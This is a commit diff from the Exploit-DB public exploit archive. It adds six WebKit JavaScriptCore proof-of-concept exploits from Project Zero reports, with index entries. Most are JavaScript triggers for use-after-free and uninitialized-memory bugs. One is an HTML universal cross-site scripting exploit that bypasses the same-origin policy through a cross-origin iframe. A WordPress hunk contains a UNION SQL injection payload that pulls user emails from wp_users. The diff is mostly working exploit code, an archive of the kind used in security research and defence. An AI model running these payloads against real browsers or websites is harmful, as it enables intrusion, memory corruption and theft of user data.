DB: 2017-07-26

6 new exploits

WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling
WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference
WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy
WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling
WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free

WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting
This commit is contained in:
Offensive Security 2017-07-26 05:01:21 +00:00
parent e27b6b8408
commit 2351348891
9 changed files with 534 additions and 221 deletions

View file

@ -5620,6 +5620,11 @@ id,file,description,date,author,platform,type,port
42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0 42365,platforms/multiple/dos/42365.html,"WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0 42366,platforms/multiple/dos/42366.html,"WebKit - 'WebCore::Node::getFlag' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0 42367,platforms/multiple/dos/42367.html,"WebKit - 'WebCore::getCachedWrapper' Use-After-Free",2017-07-24,"Google Security Research",multiple,dos,0
42373,platforms/multiple/dos/42373.html,"WebKit JSC - 'DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)' Incorrect Scope Register Handling",2017-07-25,"Google Security Research",multiple,dos,0
42374,platforms/multiple/dos/42374.html,"WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference",2017-07-25,"Google Security Research",multiple,dos,0
42375,platforms/multiple/dos/42375.html,"WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy",2017-07-25,"Google Security Research",multiple,dos,0
42376,platforms/multiple/dos/42376.html,"WebKit JSC - 'ArgumentsEliminationPhase::transform' Incorrect LoadVarargs Handling",2017-07-25,"Google Security Research",multiple,dos,0
42377,platforms/multiple/dos/42377.txt,"WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free",2017-07-25,"Google Security Research",multiple,dos,0
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@ -38174,3 +38179,4 @@ id,file,description,date,author,platform,type,port
42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0 42359,platforms/php/webapps/42359.txt,"PaulShop - SQL Injection / Cross-Site Scripting",2017-07-24,"BTIS Team",php,webapps,0
42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0 42371,platforms/json/webapps/42371.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution",2017-07-24,"RedTeam Pentesting",json,webapps,0
42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0 42372,platforms/json/webapps/42372.txt,"REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure",2017-07-24,"RedTeam Pentesting",json,webapps,0
42378,platforms/multiple/webapps/42378.html,"WebKit JSC - 'JSObject::putInlineSlow and JSValue::putToPrimitive' Universal Cross-Site Scripting",2017-07-25,"Google Security Research",multiple,webapps,0

Can't render this file because it is too large.

View file

@ -0,0 +1,27 @@
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234
Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).
void flush(InlineStackEntry* inlineStackEntry)
{
...
if (m_graph.needsScopeRegister())
flush(m_codeBlock->scopeRegister()); <<--- (a)
}
At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.
PoC:
-->
function f() {
(function () {
eval('1');
f();
}());
throw 1;
}
f();

View file

@ -0,0 +1,53 @@
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234
Here's a snippet of arrayProtoFuncSplice.
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
...
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (UNLIKELY(!result)) {
throwOutOfMemoryError(exec, scope);
return encodedJSValue();
}
// The result can have an ArrayStorage indexing type if we're having a bad time.
bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
bool success = false;
if (UNLIKELY(isArrayStorage)) {
static const bool needToFillHolesManually = true;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
} else {
ASSERT(hasUndecided(result->indexingType()));
static const bool needToFillHolesManually = false;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
}
if (UNLIKELY(!success)) {
ASSERT(scope.exception());
return encodedJSValue();
}
...
}
|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.
PoC:
-->
function gc() {
for (let i = 0; i < 4; i++)
new ArrayBuffer(0x1000000);
}
Array.prototype.__defineGetter__(1000, () => 0);
for (let i = 0; i < 0x1000; i++)
new Array(0x10).fill([{}, {}, {}, {}]);
for (let i = 0; i < 0x1000; i++) {
let x = {length: 0x10};
x.__defineGetter__(0, () => gc());
Array.prototype.splice.call(x, 0);
}

View file

@ -0,0 +1,74 @@
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236
WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy
Here's a snippet of JSArray::appendMemcpy.
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
auto scope = DECLARE_THROW_SCOPE(vm);
if (!canFastCopy(vm, otherArray))
return false;
IndexingType type = indexingType();
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
if (type == ArrayWithUndecided && copyType != NonArray) {
if (copyType == ArrayWithInt32)
convertUndecidedToInt32(vm);
else if (copyType == ArrayWithDouble)
convertUndecidedToDouble(vm);
else if (copyType == ArrayWithContiguous)
convertUndecidedToContiguous(vm);
else {
ASSERT(copyType == ArrayWithUndecided);
return true;
}
} else if (type != copyType)
return false;
...
if (type == ArrayWithDouble)
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
else
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);
return true;
}
The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.
PoC:
-->
function optNewArrayAndConcat() {
let a = [,,,,,,,,,];
return Array.prototype.concat.apply(a);
}
function main() {
Array.prototype.constructor = {
[Symbol.species]: function () {
return [{}];
}
};
gc();
for (let i = 0; i < 0x10000; i++) {
optNewArrayAndConcat().fill({});
}
gc();
for (let i = 0; i < 0x20000; i++) {
let res = optNewArrayAndConcat();
if (res[0])
print(res.toString());
}
}
main();

View file

@ -0,0 +1,68 @@
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1262
Here is a snippet of ArgumentsEliminationPhase::transform
case LoadVarargs:
...
if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
...
if (argumentCountIncludingThis <= varargsData->limit) {
storeArgumentCountIncludingThis(argumentCountIncludingThis);
// store arguments
...
}
node->remove();
node->origin.exitOK = canExit;
break;
}
Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.
PoC:
-->
const kArgsLength = 0x101;
let buggy = null;
function inlineFunc() {
if (arguments.length != kArgsLength) {
buggy = arguments;
}
}
class ClassForInine extends inlineFunc {
}
function sleep(ms) {
let start = new Date();
while (new Date() - start < ms);
}
function main() {
let args = new Array(kArgsLength);
args.fill(333 + 1);
args = args.join(', ');
let opt = new Function(`(() => {
new ClassForInine(${args});
})();`);
for (let i = 0; i < 0x100000; i++) {
opt();
if (i === 0x3000)
sleep(1000);
if (buggy) {
print('buggy.length: ' + buggy.length);
break;
}
}
for (let i = 0, n = buggy.length; i < n; i++) {
print(buggy[i]);
}
}
main();

View file

@ -0,0 +1,25 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256
Here's a snippet of ObjectPatternNode::appendEntry.
void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
{
m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
}
Here's the definition of Entry.
struct Entry {
const Identifier& propertyName;
ExpressionNode* propertyExpression;
bool wasString;
DestructuringPatternNode* pattern;
ExpressionNode* defaultValue;
BindingType bindingType;
};
The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.
PoC:
var {[a]: b, ...[]} = {};

View file

@ -0,0 +1,58 @@
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.
The PoC shows to call a setter of another origin's object.
PoC 1 - JSValue::putToPrimitive:
-->
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
a.__proto__.__proto__ = f.contentWindow;
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
<!--
PoC 2 - JSObject::putInlineSlow:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = {
__proto__: f.contentWindow
};
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
-->

View file

@ -130,6 +130,8 @@ and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1 9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1
and subdate(curdate(), interval 9999 and subdate(curdate(), interval 9999
## E-DB NOTE: Try 999 days if 9999 doesn't work in your environment.
I wrote a PoC, to get automatically the password hash of the WordPress I wrote a PoC, to get automatically the password hash of the WordPress
admin account: admin account: